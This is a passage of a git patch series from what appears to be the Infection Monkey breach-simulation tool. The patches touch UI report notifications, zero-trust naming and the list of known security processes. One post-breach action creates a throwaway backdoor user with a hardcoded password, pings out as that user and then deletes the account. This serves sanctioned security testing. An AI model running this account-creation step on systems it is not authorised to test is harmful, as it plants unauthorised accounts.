b/monkey/monkey_island/cc/ui/src/components/Main.js index 5d2f6b898..1df53fd4f 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -29,7 +29,7 @@ let infectionMonkeyImage = require('../images/infection-monkey.svg'); let guardicoreLogoImage = require('../images/guardicore-logo.png'); let notificationIcon = require('../images/notification-logo-512x512.png'); -const reportZeroTrustPath = '/report/zero_trust'; +const reportZeroTrustRoute = '/report/zero_trust'; class AppComponent extends AuthComponent { updateStatus = () => { @@ -202,7 +202,7 @@ class AppComponent extends AuthComponent { {this.renderRoute('/infection/telemetry', )} {this.renderRoute('/start-over', )} {this.renderRoute('/report/security', )} - {this.renderRoute(reportZeroTrustPath, )} + {this.renderRoute(reportZeroTrustRoute, )} {this.renderRoute('/license', )} @@ -213,15 +213,18 @@ class AppComponent extends AuthComponent { showInfectionDoneNotification() { if (this.state.completedSteps.infection_done) { - const hostname = window.location.hostname; - const port = window.location.port; - let url = `https://${hostname}:${port}${reportZeroTrustPath}`; + // No need to show the notification to redirect to the report if we're already in the report page + if (!window.location.href.includes("report")) { + const hostname = window.location.hostname; + const port = window.location.port; + let url = `https://${hostname}:${port}${reportZeroTrustRoute}`; - Notifier.start( - "Monkey Island", - "Infection is done! Click here to go to the report page.", - url, - notificationIcon); + Notifier.start( + "Monkey Island", + "Infection is done! Click here to go to the report page.", + url, + notificationIcon); + } } } } From a32012ce5212e0e7ed2e79ee8d664cfad3cfdbd4 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 9 Sep 2019 13:35:46 +0300 Subject: [PATCH 247/276] Added communicate as new user to default PBA actions --- monkey/monkey_island/cc/services/config_schema.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 16b51984d..046273912 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -337,6 +337,7 @@ SCHEMA = { "$ref": "#/definitions/post_breach_acts" }, "default": [ + "CommunicateAsNewUser" ], "description": "List of actions the Monkey will run post breach" }, From a51a6065b8c432a6cc2521e771b855aaf527b889 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 9 Sep 2019 17:27:53 +0300 Subject: [PATCH 248/276] Now looking at the exit codes of ping --- monkey/common/data/zero_trust_consts.py | 3 +- .../actions/communicate_as_new_user.py | 37 ++++++++++++++----- 2 files changed, 30 insertions(+), 10 deletions(-) diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 385f28338..780aaafa4 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -57,7 +57,8 @@ RECOMMENDATIONS = { RECOMMENDATION_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.", RECOMMENDATION_DATA_TRANSIT: u"Secure data at transit by encrypting it.", RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.", - RECOMMENDATION_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC only.", + RECOMMENDATION_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory " + u"Access Control) only.", } POSSIBLE_STATUSES_KEY = u"possible_statuses" diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 9db9bd436..be2b824bb 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -3,6 +3,7 @@ import os import random import string import subprocess +import time from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER from infection_monkey.monkey_utils.windows.new_user import NewUser, NewUserError @@ -11,8 +12,12 @@ from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils import is_windows_os -CREATED_PROCESS_AS_USER_WINDOWS_FORMAT = "Created process '{}' as user '{}'." -CREATED_PROCESS_AS_USER_LINUX_FORMAT = "Created process '{}' as user '{}'. Some of the output was '{}'." +PING_TEST_DOMAIN = "google.com" + +PING_WAIT_TIMEOUT_IN_SECONDS = 20 + +CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT = "Created process '{}' as user '{}', and successfully pinged." +CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT = "Created process '{}' as user '{}', but failed to ping (exit status {})." USERNAME = "somenewuser" PASSWORD = "N3WPa55W0rD!1" @@ -40,12 +45,11 @@ class CommunicateAsNewUser(PBA): try: # add user + ping linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) - commandline = "ping -c 2 google.com" + commandline = "ping -c 1 {}".format(PING_TEST_DOMAIN) linux_cmds.extend([";", "sudo", "-u", username, commandline]) final_command = ' '.join(linux_cmds) - output = subprocess.check_output(final_command, stderr=subprocess.STDOUT, shell=True) - PostBreachTelem(self, ( - CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:150]), True)).send() + exit_status = os.system(final_command) + self.send_ping_result_telemetry(exit_status, commandline, username) # delete the user _ = subprocess.check_output( BackdoorUser.get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True) @@ -69,7 +73,7 @@ class CommunicateAsNewUser(PBA): try: # Open process as that user: # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera - commandline = "{} {} {} {}".format(ping_app_path, "google.com", "-n", "2") + commandline = "{} {} {} {}".format(ping_app_path, PING_TEST_DOMAIN, "-n", "1") process_info = win32process.CreateProcessAsUser( new_user.get_logon_handle(), # A handle to the primary token that represents a user. None, # The name of the module to be executed. @@ -86,8 +90,15 @@ class CommunicateAsNewUser(PBA): # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa ) - PostBreachTelem(self, - (CREATED_PROCESS_AS_USER_WINDOWS_FORMAT.format(commandline, username), True)).send() + ping_exit_code = win32process.GetExitCodeProcess(process_info[0]) + counter = 0 + while ping_exit_code == win32con.STILL_ACTIVE and counter < PING_WAIT_TIMEOUT_IN_SECONDS: + ping_exit_code = win32process.GetExitCodeProcess(process_info[0]) + counter += 1 + logger.debug("Waiting for ping to finish, round {}. Exit code: {}".format(counter, ping_exit_code)) + time.sleep(1) + + self.send_ping_result_telemetry(ping_exit_code, commandline, username) win32api.CloseHandle(process_info[0]) # Process handle win32api.CloseHandle(process_info[1]) # Thread handle @@ -106,3 +117,11 @@ class CommunicateAsNewUser(PBA): False)).send() except NewUserError as e: PostBreachTelem(self, (str(e), False)).send() + + def send_ping_result_telemetry(self, exit_status, commandline, username): + if exit_status == 0: + PostBreachTelem(self, ( + CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT.format(commandline, username), True)).send() + else: + PostBreachTelem(self, ( + CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT.format(commandline, username, exit_status), False)).send() From 53f31ddcc984b7899d15143ff9c3d4d10ea05f8d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 9 Sep 2019 17:36:00 +0300 Subject: [PATCH 249/276] Refactored notification logic to method --- .../cc/ui/src/components/Main.js | 26 ++++++++++--------- 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 1df53fd4f..9fd3d8f1c 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -212,21 +212,23 @@ class AppComponent extends AuthComponent { } showInfectionDoneNotification() { - if (this.state.completedSteps.infection_done) { - // No need to show the notification to redirect to the report if we're already in the report page - if (!window.location.href.includes("report")) { - const hostname = window.location.hostname; - const port = window.location.port; - let url = `https://${hostname}:${port}${reportZeroTrustRoute}`; + if (this.shouldShowNotification()) { + const hostname = window.location.hostname; + const port = window.location.port; + const url = `https://${hostname}:${port}${reportZeroTrustRoute}`; - Notifier.start( - "Monkey Island", - "Infection is done! Click here to go to the report page.", - url, - notificationIcon); - } + Notifier.start( + "Monkey Island", + "Infection is done! Click here to go to the report page.", + url, + notificationIcon); } } + + shouldShowNotification() { + // No need to show the notification to redirect to the report if we're already in the report page + return (this.state.completedSteps.infection_done && !window.location.pathname.startsWith("/report")); + } } AppComponent.defaultProps = {}; From 4dca735265f62c771926e3bdd9df291110726fa4 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 10 Sep 2019 14:43:48 +0300 Subject: [PATCH 250/276] Changed `check_output` to `Popen` to make user deletion async we don't care about its result --- .../post_breach/actions/communicate_as_new_user.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index be2b824bb..75acf6fe0 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -50,9 +50,10 @@ class CommunicateAsNewUser(PBA): final_command = ' '.join(linux_cmds) exit_status = os.system(final_command) self.send_ping_result_telemetry(exit_status, commandline, username) - # delete the user - _ = subprocess.check_output( + # delete the user, async in case it gets stuck. + _ = subprocess.Popen( BackdoorUser.get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True) + # Leaking the process on purpose - nothing we can do if it's stuck. except subprocess.CalledProcessError as e: PostBreachTelem(self, (e.output, False)).send() From 50f8e9053a31669d1e486555c0e5be364f09f742 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 10 Sep 2019 14:50:54 +0300 Subject: [PATCH 251/276] Changed on windows as well --- monkey/infection_monkey/monkey_utils/windows/new_user.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey_utils/windows/new_user.py b/monkey/infection_monkey/monkey_utils/windows/new_user.py index 14db5c1ae..fbe4bd832 100644 --- a/monkey/infection_monkey/monkey_utils/windows/new_user.py +++ b/monkey/infection_monkey/monkey_utils/windows/new_user.py @@ -63,7 +63,7 @@ class NewUser(object): # Try to delete user try: - _ = subprocess.check_output( + _ = subprocess.Popen( BackdoorUser.get_windows_commands_to_delete_user(self.username), stderr=subprocess.STDOUT, shell=True) except Exception as err: raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err)) From 5f02ebe1e0f217bd23d6ee407d2c00033a602dff Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 10 Sep 2019 19:32:46 +0300 Subject: [PATCH 252/276] Added Guardicore processes to AV list --- .../zero_trust_tests/known_anti_viruses.py | 20 ++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py index e10792d0c..e5d7c2355 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py @@ -65,5 +65,23 @@ ANTI_VIRUS_KNOWN_PROCESS_NAMES = [ u"DWHWizrd.exe", u"RtvStart.exe", u"roru.exe", - u"WSCSAvNotifier" + u"WSCSAvNotifier", + # Guardicore Centra + # Linux + u"gc-agents-service", + u"gc-guest-agent", + u"gc-guardig", + u"gc-digger", + u"gc-fastpath", + u"gc-enforcement-agent", + u"gc-enforcement-channel", + u"gc-detection-agent", + # Windows + u"gc-guest-agent.exe", + u"gc-windig.exe", + u"gc-digger.exe", + u"gc-fastpath.exe", + u"gc-enforcement-channel.exe", + u"gc-enforcement-agent.exe", + u"gc-agent-ui.exe" ] From cfd0c10d59a7885a71ee4a6e2d17372135f83d34 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 10 Sep 2019 23:44:03 +0300 Subject: [PATCH 253/276] Refactoring inconclusive to verify and recommendation to principle Product writer's orders --- monkey/common/data/zero_trust_consts.py | 94 +++++++++---------- .../cc/models/zero_trust/finding.py | 4 +- .../zero_trust/test_aggregate_finding.py | 4 +- .../cc/resources/reporting/report.py | 6 +- .../reporting/test_zero_trust_service.py | 64 ++++++------- .../services/reporting/zero_trust_service.py | 32 +++---- .../zero_trust_tests/data_endpoints.py | 2 +- .../zero_trust_tests/machine_exploited.py | 2 +- .../telemetry/zero_trust_tests/tunneling.py | 4 +- .../components/pages/ZeroTrustReportPage.js | 12 +-- .../zerotrust/FindingsSection.js | 2 +- .../zerotrust/PrinciplesSection.js | 29 ++++++ ...tatusTable.js => PrinciplesStatusTable.js} | 12 +-- .../zerotrust/RecommendationsSection.js | 29 ------ .../zerotrust/ReportLegend.js | 5 +- ...tus.js => SinglePillarPrinciplesStatus.js} | 12 +-- .../zerotrust/StatusLabel.js | 4 +- .../zerotrust/StatusesToPillarsSummary.js | 2 +- .../zerotrust/SummarySection.js | 17 +--- .../zerotrust/ZeroTrustPillars.js | 2 +- .../zerotrust/venn-components/VennDiagram.js | 11 +-- 21 files changed, 167 insertions(+), 182 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{RecommendationsStatusTable.js => PrinciplesStatusTable.js} (79%) delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{SinglePillarRecommendationsStatus.js => SinglePillarPrinciplesStatus.js} (67%) diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 780aaafa4..3362756d9 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -2,7 +2,7 @@ This file contains all the static data relating to Zero Trust. It is mostly used in the zero trust report generation and in creating findings. -This file contains static mappings between zero trust components such as: pillars, recommendations, tests, statuses. +This file contains static mappings between zero trust components such as: pillars, principles, tests, statuses. Some of the mappings are computed when this module is loaded. """ @@ -17,10 +17,10 @@ PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUT STATUS_UNEXECUTED = u"Unexecuted" STATUS_PASSED = u"Passed" -STATUS_INCONCLUSIVE = u"Inconclusive" +STATUS_VERIFY = u"Verify" STATUS_FAILED = u"Failed" # Don't change order! The statuses are ordered by importance/severity. -ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_INCONCLUSIVE, STATUS_PASSED, STATUS_UNEXECUTED] +ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED] TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic" TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http" @@ -43,27 +43,27 @@ TESTS = ( TEST_COMMUNICATE_AS_NEW_USER ) -RECOMMENDATION_DATA_TRANSIT = u"data_transit" -RECOMMENDATION_ENDPOINT_SECURITY = u"endpoint_security" -RECOMMENDATION_USER_BEHAVIOUR = u"user_behaviour" -RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic" -RECOMMENDATION_SEGMENTATION = u"segmentation" -RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES = u"network_policies" -RECOMMENDATION_USERS_MAC_POLICIES = u"users_mac_policies" -RECOMMENDATIONS = { - RECOMMENDATION_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.", - RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.", - RECOMMENDATION_USER_BEHAVIOUR: u"Adopt security user behavior analytics.", - RECOMMENDATION_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.", - RECOMMENDATION_DATA_TRANSIT: u"Secure data at transit by encrypting it.", - RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.", - RECOMMENDATION_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory " +PRINCIPLE_DATA_TRANSIT = u"data_transit" +PRINCIPLE_ENDPOINT_SECURITY = u"endpoint_security" +PRINCIPLE_USER_BEHAVIOUR = u"user_behaviour" +PRINCIPLE_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic" +PRINCIPLE_SEGMENTATION = u"segmentation" +PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES = u"network_policies" +PRINCIPLE_USERS_MAC_POLICIES = u"users_mac_policies" +PRINCIPLES = { + PRINCIPLE_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.", + PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.", + PRINCIPLE_USER_BEHAVIOUR: u"Adopt security user behavior analytics.", + PRINCIPLE_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.", + PRINCIPLE_DATA_TRANSIT: u"Secure data at transit by encrypting it.", + PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.", + PRINCIPLE_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory " u"Access Control) only.", } POSSIBLE_STATUSES_KEY = u"possible_statuses" PILLARS_KEY = u"pillars" -RECOMMENDATION_KEY = u"recommendation_key" +PRINCIPLE_KEY = u"principle_key" FINDING_EXPLANATION_BY_STATUS_KEY = u"finding_explanation" TEST_EXPLANATION_KEY = u"explanation" TESTS_MAP = { @@ -73,18 +73,18 @@ TESTS_MAP = { STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.", STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs." }, - RECOMMENDATION_KEY: RECOMMENDATION_SEGMENTATION, + PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION, PILLARS_KEY: [NETWORKS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED] }, TEST_MALICIOUS_ACTIVITY_TIMELINE: { TEST_EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_INCONCLUSIVE: "Monkey performed malicious actions in the network. Check SOC logs and alerts." + STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts." }, - RECOMMENDATION_KEY: RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC, + PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC, PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_INCONCLUSIVE] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY] }, TEST_ENDPOINT_SECURITY_EXISTS: { TEST_EXPLANATION_KEY: u"The Monkey checked if there is an active process of an endpoint security software.", @@ -92,7 +92,7 @@ TESTS_MAP = { STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.", STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern." }, - RECOMMENDATION_KEY: RECOMMENDATION_ENDPOINT_SECURITY, + PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, PILLARS_KEY: [DEVICES], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, @@ -102,19 +102,19 @@ TESTS_MAP = { STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.", STATUS_PASSED: "Monkey didn't manage to exploit an endpoint." }, - RECOMMENDATION_KEY: RECOMMENDATION_ENDPOINT_SECURITY, + PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, PILLARS_KEY: [DEVICES], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_INCONCLUSIVE] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY] }, TEST_SCHEDULED_EXECUTION: { TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_INCONCLUSIVE: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.", + STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.", STATUS_PASSED: "Monkey failed to execute in a scheduled manner." }, - RECOMMENDATION_KEY: RECOMMENDATION_USER_BEHAVIOUR, + PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR, PILLARS_KEY: [PEOPLE, NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_INCONCLUSIVE] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY] }, TEST_DATA_ENDPOINT_ELASTIC: { TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to ElasticSearch instances.", @@ -122,7 +122,7 @@ TESTS_MAP = { STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.", STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them." }, - RECOMMENDATION_KEY: RECOMMENDATION_DATA_TRANSIT, + PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, PILLARS_KEY: [DATA], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, @@ -132,7 +132,7 @@ TESTS_MAP = { STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.", STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them." }, - RECOMMENDATION_KEY: RECOMMENDATION_DATA_TRANSIT, + PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, PILLARS_KEY: [DATA], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, @@ -141,7 +141,7 @@ TESTS_MAP = { FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "Monkey was tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them." }, - RECOMMENDATION_KEY: RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES, + PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED] }, @@ -151,7 +151,7 @@ TESTS_MAP = { STATUS_FAILED: "Monkey was able to cause a new user to access the network. Your network policies are too permissive - restrict them to MAC only.", STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network." }, - RECOMMENDATION_KEY: RECOMMENDATION_USERS_MAC_POLICIES, + PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, @@ -171,15 +171,15 @@ PILLARS_TO_TESTS = { AUTOMATION_ORCHESTRATION: [] } -RECOMMENDATIONS_TO_TESTS = {} +PRINCIPLES_TO_TESTS = {} -RECOMMENDATIONS_TO_PILLARS = {} +PRINCIPLES_TO_PILLARS = {} def populate_mappings(): populate_pillars_to_tests() - populate_recommendations_to_tests() - populate_recommendations_to_pillars() + populate_principles_to_tests() + populate_principles_to_pillars() def populate_pillars_to_tests(): @@ -189,17 +189,17 @@ def populate_pillars_to_tests(): PILLARS_TO_TESTS[pillar].append(test) -def populate_recommendations_to_tests(): - for single_recommendation in RECOMMENDATIONS: - RECOMMENDATIONS_TO_TESTS[single_recommendation] = [] +def populate_principles_to_tests(): + for single_principle in PRINCIPLES: + PRINCIPLES_TO_TESTS[single_principle] = [] for test, test_info in TESTS_MAP.items(): - RECOMMENDATIONS_TO_TESTS[test_info[RECOMMENDATION_KEY]].append(test) + PRINCIPLES_TO_TESTS[test_info[PRINCIPLE_KEY]].append(test) -def populate_recommendations_to_pillars(): - for recommendation, recommendation_tests in RECOMMENDATIONS_TO_TESTS.items(): - recommendations_pillars = set() - for test in recommendation_tests: +def populate_principles_to_pillars(): + for principle, principle_tests in PRINCIPLES_TO_TESTS.items(): + principles_pillars = set() + for test in principle_tests: for pillar in TESTS_MAP[test][PILLARS_KEY]: - recommendations_pillars.add(pillar) - RECOMMENDATIONS_TO_PILLARS[recommendation] = recommendations_pillars + principles_pillars.add(pillar) + PRINCIPLES_TO_PILLARS[principle] = principles_pillars diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index 441d22e3a..df4eb12f7 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -14,12 +14,12 @@ from monkey_island.cc.models.zero_trust.event import Event class Finding(Document): """ This model represents a Zero-Trust finding: A result of a test the monkey/island might perform to see if a - specific recommendation of zero trust is upheld or broken. + specific principle of zero trust is upheld or broken. Findings might have the following statuses: Failed ❌ Meaning that we are sure that something is wrong (example: segmentation issue). - Inconclusive ⁉ + Verify ⁉ Meaning that we need the user to check something himself (example: 2FA logs, AV missing). Passed ✔ Meaning that we are sure that something is correct (example: Monkey failed exploiting). diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py index b32e8ad53..4a67a21b7 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py @@ -11,7 +11,7 @@ class TestAggregateFinding(IslandTestCase): self.clean_finding_db() test = TEST_MALICIOUS_ACTIVITY_TIMELINE - status = STATUS_INCONCLUSIVE + status = STATUS_VERIFY events = [Event.create_event("t", "t", EVENT_TYPE_ISLAND)] self.assertEquals(len(Finding.objects(test=test, status=status)), 0) @@ -30,7 +30,7 @@ class TestAggregateFinding(IslandTestCase): self.clean_finding_db() test = TEST_MALICIOUS_ACTIVITY_TIMELINE - status = STATUS_INCONCLUSIVE + status = STATUS_VERIFY event = Event.create_event("t", "t", EVENT_TYPE_ISLAND) events = [event] self.assertEquals(len(Finding.objects(test=test, status=status)), 0) diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index db2f40518..8c5286fee 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -14,7 +14,7 @@ REPORT_TYPES = [SECURITY_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE] REPORT_DATA_PILLARS = "pillars" REPORT_DATA_FINDINGS = "findings" -REPORT_DATA_RECOMMENDATIONS_STATUS = "recommendations" +REPORT_DATA_PRINCIPLES_STATUS = "principles" __author__ = ["itay.mizeretz", "shay.nehmad"] @@ -33,8 +33,8 @@ class Report(flask_restful.Resource): "grades": ZeroTrustService.get_pillars_grades() } ) - elif report_data == REPORT_DATA_RECOMMENDATIONS_STATUS: - return jsonify(ZeroTrustService.get_recommendations_status()) + elif report_data == REPORT_DATA_PRINCIPLES_STATUS: + return jsonify(ZeroTrustService.get_principles_status()) elif report_data == REPORT_DATA_FINDINGS: return jsonify(ZeroTrustService.get_all_findings()) diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py index 2bd74c796..5d84a9cb0 100644 --- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py @@ -11,12 +11,12 @@ def save_example_findings(): Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, []) # devices passed = 2 Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_FAILED, []) # devices failed = 1 # devices unexecuted = 1 - # people inconclusive = 1 - # networks inconclusive = 1 - Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_INCONCLUSIVE, []) - # people inconclusive = 2 - # networks inconclusive = 2 - Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_INCONCLUSIVE, []) + # people verify = 1 + # networks verify = 1 + Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, []) + # people verify = 2 + # networks verify = 2 + Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, []) # data failed 1 Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) # data failed 2 @@ -27,10 +27,10 @@ def save_example_findings(): Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) # data failed 5 Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) - # data inconclusive 1 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_INCONCLUSIVE, []) - # data inconclusive 2 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_INCONCLUSIVE, []) + # data verify 1 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, []) + # data verify 2 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, []) # data passed 1 